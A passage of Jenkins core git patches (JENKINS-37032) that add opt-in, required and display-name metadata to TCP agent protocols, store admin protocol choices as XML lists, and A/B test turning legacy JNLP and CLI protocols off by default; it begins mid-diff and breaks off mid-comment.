} else { + agentProtocols.add(protocols.toString()); + } + } + j.setAgentProtocols(agentProtocols); } else { j.disableSecurity(); } diff --git a/core/src/main/java/jenkins/AgentProtocol.java b/core/src/main/java/jenkins/AgentProtocol.java index 667f881cde..14d2a6858e 100644 --- a/core/src/main/java/jenkins/AgentProtocol.java +++ b/core/src/main/java/jenkins/AgentProtocol.java @@ -21,6 +21,24 @@ import java.net.Socket; * @see TcpSlaveAgentListener */ public abstract class AgentProtocol implements ExtensionPoint { + /** + * Allow experimental {@link AgentProtocol} implementations to declare being opt-in. + * @return {@code true} if the protocol requires explicit opt-in. + * @since FIXME + */ + public boolean isOptIn() { + return false; + } + /** + * Allow essential {@link AgentProtocol} implementations (basically {@link TcpSlaveAgentListener.PingAgentProtocol}) + * to be always enabled. + * + * @return {@code true} if the protocol can never be disbaled. + * @since FIXME + */ + public boolean isRequired() { + return false; + } /** * Protocol name. * diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e01d3085f7..ca685aaabf 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -50,6 +50,7 @@ import hudson.Plugin; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.ProxyConfiguration; +import jenkins.AgentProtocol; import jenkins.util.SystemProperties; import hudson.TcpSlaveAgentListener; import hudson.UDPBroadcastThread; @@ -224,6 +225,7 @@ import org.acegisecurity.providers.anonymous.AnonymousAuthenticationToken; import org.acegisecurity.ui.AbstractProcessingFilter; import org.apache.commons.jelly.JellyException; import org.apache.commons.jelly.Script; +import org.apache.commons.lang.StringUtils; import org.apache.commons.logging.LogFactory; import org.jvnet.hudson.reactor.Executable; import org.jvnet.hudson.reactor.Milestone; @@ -598,6 +600,28 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ private int slaveAgentPort = SystemProperties.getInteger(Jenkins.class.getName()+".slaveAgentPort",0); + /** + * The TCP agent protocols that are explicitly disabled (we store the disabled ones so that newer protocols + * are enabled by default). + * + * @since FIXME + */ + private String disabledAgentProtocols; + + /** + * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. + * + * @since FIXME + */ + private String enabledAgentProtocols; + + /** + * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols}. + * + * @since FIXME + */ + private transient Set agentProtocols; + /** * Whitespace-separated labels assigned to the master as a {@link Node}. */ @@ -1060,6 +1084,65 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve launchTcpSlaveAgentListener(); } + /** + * Returns the enabled agent protocols. + * + * @return the enabled agent protocols. + * @since FIXME + */ + public Set getAgentProtocols() { + if (agentProtocols == null) { + // idempotent, so don't care if we do this concurrently, should all get same result + Set result = new TreeSet<>(); + Set disabled = new TreeSet<>(); + for (String p : StringUtils.split(StringUtils.defaultIfBlank(disabledAgentProtocols, ""), ",")) { + disabled.add(p.trim()); + } + Set enabled = new TreeSet<>(); + for (String p : StringUtils.split(StringUtils.defaultIfBlank(enabledAgentProtocols, ""), ",")) { + enabled.add(p.trim()); + } + for (AgentProtocol p : AgentProtocol.all()) { + String name = p.getName(); + if (name != null && (p.isRequired() + || (!disabled.contains(name) && (!p.isOptIn() || enabled.contains(name))))) { + result.add(name); + } + } + agentProtocols = result; + return result; + } + return agentProtocols; + } + + /** + * Sets the enabled agent protocols. + * + * @param protocols the enabled agent protocols. + * @since FIXME + */ + public void setAgentProtocols(Set protocols) { + Set disabled = new TreeSet<>(); + Set enabled = new TreeSet<>(); + for (AgentProtocol p : AgentProtocol.all()) { + String name = p.getName(); + if (name != null && !p.isRequired()) { + if (p.isOptIn()) { + if (protocols.contains(name)) { + enabled.add(name); + } + } else { + if (!protocols.contains(name)) { + disabled.add(name); + } + } + } + } + disabledAgentProtocols = fixEmpty(StringUtils.join(disabled, ", ")); + enabledAgentProtocols = fixEmpty(StringUtils.join(enabled, ", ")); + agentProtocols = null; + } + private void launchTcpSlaveAgentListener() throws IOException { synchronized(tcpSlaveAgentListenerLock) { // shutdown previous agent if the port has changed diff --git a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly index 63e3d8de4e..48854e95fb 100644 --- a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly +++ b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly @@ -23,7 +23,7 @@ THE SOFTWARE. --> - + -- GitLab From b012ea9539887d377dab98673fc82bbae2d51e6b Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 29 Jul 2016 00:01:32 +0100 Subject: [PATCH 152/811] [JENKINS-37032] Add display names and optional descriptions --- .../java/hudson/TcpSlaveAgentListener.java | 10 +++++++- .../src/main/java/hudson/cli/CliProtocol.java | 8 ++++++ .../main/java/hudson/cli/CliProtocol2.java | 8 ++++++ core/src/main/java/jenkins/AgentProtocol.java | 12 ++++++++- .../slaves/JnlpSlaveAgentProtocol.java | 8 ++++++ .../slaves/JnlpSlaveAgentProtocol2.java | 8 ++++++ .../slaves/JnlpSlaveAgentProtocol3.java | 8 ++++++ .../main/resources/hudson/Messages.properties | 4 ++- .../hudson/cli/CliProtocol/description.jelly | 4 +++ .../hudson/cli/CliProtocol2/description.jelly | 4 +++ .../resources/hudson/cli/Messages.properties | 2 ++ .../GlobalSecurityConfiguration/index.groovy | 24 ++++++++++++------ .../JnlpSlaveAgentProtocol/description.jelly | 4 +++ .../JnlpSlaveAgentProtocol2/description.jelly | 4 +++ .../JnlpSlaveAgentProtocol3/description.jelly | 4 +++ .../jenkins/slaves/Messages.properties | 25 +++++++++++++++++++ 16 files changed, 127 insertions(+), 10 deletions(-) create mode 100644 core/src/main/resources/hudson/cli/CliProtocol/description.jelly create mode 100644 core/src/main/resources/hudson/cli/CliProtocol2/description.jelly create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly create mode 100644 core/src/main/resources/jenkins/slaves/Messages.properties diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 6e8d1d0bf8..238dd51296 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -265,7 +265,7 @@ public final class TcpSlaveAgentListener extends Thread { * Allow essential {@link AgentProtocol} implementations (basically {@link PingAgentProtocol}) * to be always enabled. * - * @return {@code true} if the protocol can never be disbaled. + * @return {@code true} if the protocol can never be disabled. * @since FIXME */ @Override @@ -278,6 +278,14 @@ public final class TcpSlaveAgentListener extends Thread { return "Ping"; } + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return Messages.TcpSlaveAgentListener_PingAgentProtocol_displayName(); + } + @Override public void handle(Socket socket) throws IOException, InterruptedException { try { diff --git a/core/src/main/java/hudson/cli/CliProtocol.java b/core/src/main/java/hudson/cli/CliProtocol.java index aa1d031b4b..b79430db4d 100644 --- a/core/src/main/java/hudson/cli/CliProtocol.java +++ b/core/src/main/java/hudson/cli/CliProtocol.java @@ -36,6 +36,14 @@ public class CliProtocol extends AgentProtocol { return "CLI-connect"; } + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return "Jenkins CLI Protocol/1"; + } + @Override public void handle(Socket socket) throws IOException, InterruptedException { new Handler(nio.getHub(),socket).run(); diff --git a/core/src/main/java/hudson/cli/CliProtocol2.java b/core/src/main/java/hudson/cli/CliProtocol2.java index a4893cfd94..14913021a8 100644 --- a/core/src/main/java/hudson/cli/CliProtocol2.java +++ b/core/src/main/java/hudson/cli/CliProtocol2.java @@ -28,6 +28,14 @@ public class CliProtocol2 extends CliProtocol { return "CLI2-connect"; } + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return "Jenkins CLI Protocol/2"; + } + @Override public void handle(Socket socket) throws IOException, InterruptedException { new Handler2(nio.getHub(), socket).run(); diff --git a/core/src/main/java/jenkins/AgentProtocol.java b/core/src/main/java/jenkins/AgentProtocol.java index 14d2a6858e..0e3374b0e1 100644 --- a/core/src/main/java/jenkins/AgentProtocol.java +++ b/core/src/main/java/jenkins/AgentProtocol.java @@ -33,7 +33,7 @@ public abstract class AgentProtocol implements ExtensionPoint { * Allow essential {@link AgentProtocol} implementations (basically {@link TcpSlaveAgentListener.PingAgentProtocol}) * to be always enabled. * - * @return {@code true} if the protocol can never be disbaled. + * @return {@code true} if the protocol can never be disabled. * @since FIXME */ public boolean isRequired() { @@ -50,6 +50,16 @@ public abstract class AgentProtocol implements ExtensionPoint { */ public abstract String getName(); + /** + * Returns the human readable protocol display name. + * + * @return the human readable protocol display name. + * @since FIXME + */ + public String getDisplayName() { + return getName(); + } + /** * Called by the connection handling thread to execute the protocol. */ diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java index 36ebaf2969..8615b54c00 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java @@ -65,6 +65,14 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { return "JNLP-connect"; } + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return Messages.JnlpSlaveAgentProtocol_displayName(); + } + @Override public void handle(Socket socket) throws IOException, InterruptedException { new Handler(hub.getHub(),socket).run(); diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java index ff9ce64c1a..81ec159372 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java @@ -27,6 +27,14 @@ public class JnlpSlaveAgentProtocol2 extends JnlpSlaveAgentProtocol { return "JNLP2-connect"; } + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return Messages.JnlpSlaveAgentProtocol2_displayName(); + } + @Override public void handle(Socket socket) throws IOException, InterruptedException { new Handler2(hub.getHub(),socket).run(); diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index 9ef7789bbf..80f755ae20 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -42,6 +42,14 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { return ENABLED ? "JNLP3-connect" : null; } + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return Messages.JnlpSlaveAgentProtocol3_displayName(); + } + @Override public void handle(Socket socket) throws IOException, InterruptedException { new Handler(hub.getHub(), socket).run(); diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index 6722b6b940..038ecc0cd6 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -71,4 +71,6 @@ ProxyConfiguration.FailedToConnectViaProxy=Failed to connect to {0}. ProxyConfiguration.FailedToConnect=Failed to connect to {0} (code {1}). ProxyConfiguration.Success=Success -Functions.NoExceptionDetails=No Exception details \ No newline at end of file +Functions.NoExceptionDetails=No Exception details + +TcpSlaveAgentListener.PingAgentProtocol.displayName=Ping protocol diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly new file mode 100644 index 0000000000..e24d569129 --- /dev/null +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -0,0 +1,4 @@ + + + ${%Accepts connections from CLI clients} + diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly new file mode 100644 index 0000000000..66f27c511c --- /dev/null +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly @@ -0,0 +1,4 @@ + + + ${%Extends the version 1 protocol by adding transport encryption} + diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index a6ef44d760..f2cf34d4d6 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -94,3 +94,5 @@ OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temp WaitNodeOnlineCommand.ShortDescription=Wait for a node to become online. WaitNodeOfflineCommand.ShortDescription=Wait for a node to become offline. +CliProtocol.displayName=Jenkins CLI Protocol/1 +CliProtocol2.displayName=Jenkins CLI Protocol/2 diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy index 71c4900c7a..e56f86720c 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.groovy @@ -32,13 +32,23 @@ l.layout(norefresh:true, permission:app.ADMINISTER, title:my.displayName, csscla f.advanced(title: _("Agent protocols"), align:"left") { f.entry(title: _("Agent protocols")) { def agentProtocols = my.agentProtocols; - for (AgentProtocol p: AgentProtocol.all()) { - if (p.name != null && !p.required) { - f.checkbox(name: "agentProtocol", - title: p.name, - checked:agentProtocols.contains(p.name), - json: p.name); - br(); + table(width:"100%") { + for (AgentProtocol p : AgentProtocol.all()) { + if (p.name != null && !p.required) { + f.block() { + f.checkbox(name: "agentProtocol", + title: p.displayName, + checked: agentProtocols.contains(p.name), + json: p.name); + } + tr() { + td(colspan:"2"); + td(class:"setting-description"){ + st.include(from:p, page: "description", optional:true); + } + td(); + } + } } } } diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly new file mode 100644 index 0000000000..d848342d48 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -0,0 +1,4 @@ + + + ${%Accepts connections from remote clients so that they can be used as additional build agents} + diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly new file mode 100644 index 0000000000..b3c0c58444 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -0,0 +1,4 @@ + + + ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action} + diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly new file mode 100644 index 0000000000..c052dfe335 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -0,0 +1,4 @@ + + + ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client} + diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties new file mode 100644 index 0000000000..c66841c308 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright 2016 Stephen Connolly +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 +JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 +JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 -- GitLab From eb0f66554a680bc631b334be0e05a6b0bdee6504 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 29 Jul 2016 10:17:47 +0100 Subject: [PATCH 153/811] [JENKINS-37032] Switch to element per protocol XML format - Also switch the A/B testing of JNLP3-connect to via opt-in - Also mark that JNLP3-connect will be deprecated by JENKINS-36871 - Also start A/B testing the disabling of JNLP-connect and CLI-connect (should be well safe by now) --- .../src/main/java/hudson/cli/CliProtocol.java | 19 ++++++++++++++ .../main/java/hudson/cli/CliProtocol2.java | 8 ++++++ core/src/main/java/jenkins/model/Jenkins.java | 21 +++++++++------- .../slaves/JnlpSlaveAgentProtocol.java | 19 ++++++++++++++ .../slaves/JnlpSlaveAgentProtocol2.java | 8 ++++++ .../slaves/JnlpSlaveAgentProtocol3.java | 25 +++++++++++++++---- .../java/jenkins/util/SystemProperties.java | 15 +++++++++++ 7 files changed, 101 insertions(+), 14 deletions(-) diff --git a/core/src/main/java/hudson/cli/CliProtocol.java b/core/src/main/java/hudson/cli/CliProtocol.java index b79430db4d..f2160fe31f 100644 --- a/core/src/main/java/hudson/cli/CliProtocol.java +++ b/core/src/main/java/hudson/cli/CliProtocol.java @@ -1,6 +1,7 @@ package hudson.cli; import hudson.Extension; +import hudson.Util; import hudson.model.Computer; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; @@ -31,6 +32,14 @@ public class CliProtocol extends AgentProtocol { @Inject NioChannelSelector nio; + /** + * {@inheritDoc} + */ + @Override + public boolean isOptIn() { + return OPT_IN; + } + @Override public String getName() { return "CLI-connect"; @@ -93,4 +102,14 @@ public class CliProtocol extends AgentProtocol { channel.join(); } } + + /** + * A/B test turning off this protocol by default. + */ + private static final boolean OPT_IN; + + static { + byte hash = Util.fromHexString(Jenkins.getInstance().getLegacyInstanceId())[0]; + OPT_IN = (hash % 10) == 0; + } } diff --git a/core/src/main/java/hudson/cli/CliProtocol2.java b/core/src/main/java/hudson/cli/CliProtocol2.java index 14913021a8..cd7d8b04f6 100644 --- a/core/src/main/java/hudson/cli/CliProtocol2.java +++ b/core/src/main/java/hudson/cli/CliProtocol2.java @@ -28,6 +28,14 @@ public class CliProtocol2 extends CliProtocol { return "CLI2-connect"; } + /** + * {@inheritDoc} + */ + @Override + public boolean isOptIn() { + return false; + } + /** * {@inheritDoc} */ diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index ca685aaabf..88e5470fb0 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -225,7 +225,6 @@ import org.acegisecurity.providers.anonymous.AnonymousAuthenticationToken; import org.acegisecurity.ui.AbstractProcessingFilter; import org.apache.commons.jelly.JellyException; import org.apache.commons.jelly.Script; -import org.apache.commons.lang.StringUtils; import org.apache.commons.logging.LogFactory; import org.jvnet.hudson.reactor.Executable; import org.jvnet.hudson.reactor.Milestone; @@ -239,7 +238,6 @@ import org.jvnet.hudson.reactor.TaskGraphBuilder.Handle; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.args4j.Argument; -import org.kohsuke.args4j.Option; import org.kohsuke.stapler.HttpRedirect; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; @@ -602,18 +600,21 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * The TCP agent protocols that are explicitly disabled (we store the disabled ones so that newer protocols - * are enabled by default). + * are enabled by default). Will be {@code null} instead of empty to simplify XML format. * * @since FIXME */ - private String disabledAgentProtocols; + @CheckForNull + private List disabledAgentProtocols; /** * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. + * Will be {@code null} instead of empty to simplify XML format. * * @since FIXME */ - private String enabledAgentProtocols; + @CheckForNull + private List enabledAgentProtocols; /** * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols}. @@ -1095,11 +1096,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // idempotent, so don't care if we do this concurrently, should all get same result Set result = new TreeSet<>(); Set disabled = new TreeSet<>(); - for (String p : StringUtils.split(StringUtils.defaultIfBlank(disabledAgentProtocols, ""), ",")) { + for (String p : Util.fixNull(disabledAgentProtocols)) { disabled.add(p.trim()); } Set enabled = new TreeSet<>(); - for (String p : StringUtils.split(StringUtils.defaultIfBlank(enabledAgentProtocols, ""), ",")) { + for (String p : Util.fixNull(enabledAgentProtocols)) { enabled.add(p.trim()); } for (AgentProtocol p : AgentProtocol.all()) { @@ -1138,8 +1139,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } } } - disabledAgentProtocols = fixEmpty(StringUtils.join(disabled, ", ")); - enabledAgentProtocols = fixEmpty(StringUtils.join(enabled, ", ")); + disabledAgentProtocols = disabled.isEmpty() ? null : new ArrayList<>(disabled); + enabledAgentProtocols = enabled.isEmpty() ? null : new ArrayList<>(enabled); agentProtocols = null; } @@ -4904,6 +4905,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // for backward compatibility with <1.75, recognize the tag name "view" as well. XSTREAM.alias("view", ListView.class); XSTREAM.alias("listView", ListView.class); + XSTREAM.addImplicitCollection(Jenkins.class, "disabledAgentProtocols", "disabledAgentProtocol", String.class); + XSTREAM.addImplicitCollection(Jenkins.class, "enabledAgentProtocols", "enabledAgentProtocol", String.class); XSTREAM2.addCriticalField(Jenkins.class, "securityRealm"); XSTREAM2.addCriticalField(Jenkins.class, "authorizationStrategy"); // this seems to be necessary to force registration of converter early enough diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java index 8615b54c00..d0759dbd6b 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java @@ -2,6 +2,7 @@ package jenkins.slaves; import hudson.AbortException; import hudson.Extension; +import hudson.Util; import hudson.model.Computer; import hudson.remoting.Channel; import hudson.remoting.Channel.Listener; @@ -60,6 +61,14 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { @Inject NioChannelSelector hub; + /** + * {@inheritDoc} + */ + @Override + public boolean isOptIn() { + return OPT_IN; + } + @Override public String getName() { return "JNLP-connect"; @@ -164,4 +173,14 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { * This secret value is used as a seed for agents. */ public static final HMACConfidentialKey SLAVE_SECRET = new HMACConfidentialKey(JnlpSlaveAgentProtocol.class,"secret"); + + /** + * A/B test turning off this protocol by default. + */ + private static final boolean OPT_IN; + + static { + byte hash = Util.fromHexString(Jenkins.getInstance().getLegacyInstanceId())[0]; + OPT_IN = (hash % 10) == 0; + } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java index 81ec159372..1a2bb649dc 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java @@ -27,6 +27,14 @@ public class JnlpSlaveAgentProtocol2 extends JnlpSlaveAgentProtocol { return "JNLP2-connect"; } + /** + * {@inheritDoc} + */ + @Override + public boolean isOptIn() { + return false; + } + /** * {@inheritDoc} */ diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index 80f755ae20..5086d9191a 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -32,14 +32,29 @@ import jenkins.util.SystemProperties; * @author Akshay Dayal * @since 1.XXX */ +// TODO @Deprecated once JENKINS-36871 is merged @Extension public class JnlpSlaveAgentProtocol3 extends AgentProtocol { @Inject NioChannelSelector hub; + /** + * Allow experimental {@link AgentProtocol} implementations to declare being opt-in. + * + * @return {@code true} if the protocol requires explicit opt-in. + * @since FIXME + */ + @Override + public boolean isOptIn() { + return !ENABLED; + } + @Override public String getName() { - return ENABLED ? "JNLP3-connect" : null; + // we only want to force the protocol off for users that have explicitly banned it via system property + // everyone on the A/B test will just have the opt-in flag toggled + // TODO strip all this out and hardcode OptIn==TRUE once JENKINS-36871 is merged + return forceEnabled != Boolean.FALSE ? "JNLP3-connect" : null; } /** @@ -132,12 +147,12 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { */ @Restricted(NoExternalUse.class) public static boolean ENABLED; + private static final Boolean forceEnabled; static { - String propName = JnlpSlaveAgentProtocol3.class.getName() + ".enabled"; - String propertyString = SystemProperties.getString(propName); - if (propertyString != null) - ENABLED = SystemProperties.getBoolean(propName); + forceEnabled = SystemProperties.optBoolean(JnlpSlaveAgentProtocol3.class.getName() + ".enabled"); + if (forceEnabled != null) + ENABLED = forceEnabled; else { byte hash = Util.fromHexString(Jenkins.getActiveInstance().getLegacyInstanceId())[0]; ENABLED = (hash%10)==0; diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index 12643ff5a5..afdda622b4 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -204,6 +204,21 @@ public class SystemProperties implements ServletContextListener { } return def; } + + /** + * Returns {@link Boolean#TRUE} if the named system property exists and is equal to the string {@code "true} + * (ignoring case), returns {@link Boolean#FALSE} if the system property exists and doesn't equal {@code "true} + * otherwise returns {@code null} if the named system property does not exist. + * + * @param name the system property name. + * @return {@link Boolean#TRUE}, {@link Boolean#FALSE} or {@code null} + * @since FIXME + */ + @CheckForNull + public static Boolean optBoolean(String name) { + String v = getString(name); + return v == null ? null : Boolean.parseBoolean(v); + } /** * Determines the integer value of the system property with the -- GitLab From f02c6c99e8be9095eb04dbd4deb6dc2136fc774a Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 29 Jul 2016 11:50:26 +0100 Subject: [PATCH 154/811] [JENKINS-37032] Document the logic for the preference recording --- core/src/main/java/jenkins/model/Jenkins.java | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 88e5470fb0..76006d673f 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1128,6 +1128,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve for (AgentProtocol p : AgentProtocol.all()) { String name = p.getName(); if (name != null && !p.isRequired()) { + // we want to record the protocols where the admin has made a concious decision + // thus, if a protocol is opt-in, we record the admin enabling it + // if a protocol is opt-out, we record the admin disabling it + // We should not transition rapidly from opt-in -> opt-out -> opt-in + // the scenario we want to have work is: + // 1. We introduce a new protocol, it starts off as opt-in. Some admins decide to test and opt-in + // 2. We decide that the protocol is ready for general use. It gets marked as opt-out. Any admins + // that took part in early testing now have their config switched to not mention the new protocol + // at all when they save their config as the protocol is now opt-out. Any admins that want to + // disable it can do so and will have their preference recorded. + // 3. We decide that the protocol needs to be retired. It gets switched back to opt-in. At this point + // the initial opt-in admins, assuming they visited an upgrade to a master with step 2, will + // have the protocol disabled for them. This is what we want. If they didn't upgrade to a master + // with step 2, well there is not much we can do to differentiate them from somebody who is upgrading + // from a previous step 3 master and had needed to keep the protocol turned on. + // + // What we should never do is flip-flop: opt-in -> opt-out -> opt-in -> opt-out as that will basically + // clear any preference that an admin has set, but this should be ok as we only ever will be + // adding new protocols and retiring old ones. if (p.isOptIn()) { if (protocols.contains(name)) { enabled.add(name); -- GitLab From 35e0deaed5e8bbe0d1928404db8df347d1b74dfb Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 29 Jul 2016 13:07:53 +0100 Subject: [PATCH 155/811] [JENKINS-37032] More documentation of the logic for the preference recording --- core/src/main/java/jenkins/AgentProtocol.java | 14 ++++++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 2 +- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/AgentProtocol.java b/core/src/main/java/jenkins/AgentProtocol.java index 0e3374b0e1..a9eca520d7 100644 --- a/core/src/main/java/jenkins/AgentProtocol.java +++ b/core/src/main/java/jenkins/AgentProtocol.java @@ -7,6 +7,8 @@ import hudson.TcpSlaveAgentListener; import java.io.IOException; import java.net.Socket; +import java.util.Set; +import jenkins.model.Jenkins; /** * Pluggable Jenkins TCP agent protocol handler called from {@link TcpSlaveAgentListener}. @@ -23,8 +25,20 @@ import java.net.Socket; public abstract class AgentProtocol implements ExtensionPoint { /** * Allow experimental {@link AgentProtocol} implementations to declare being opt-in. + * Note that {@link 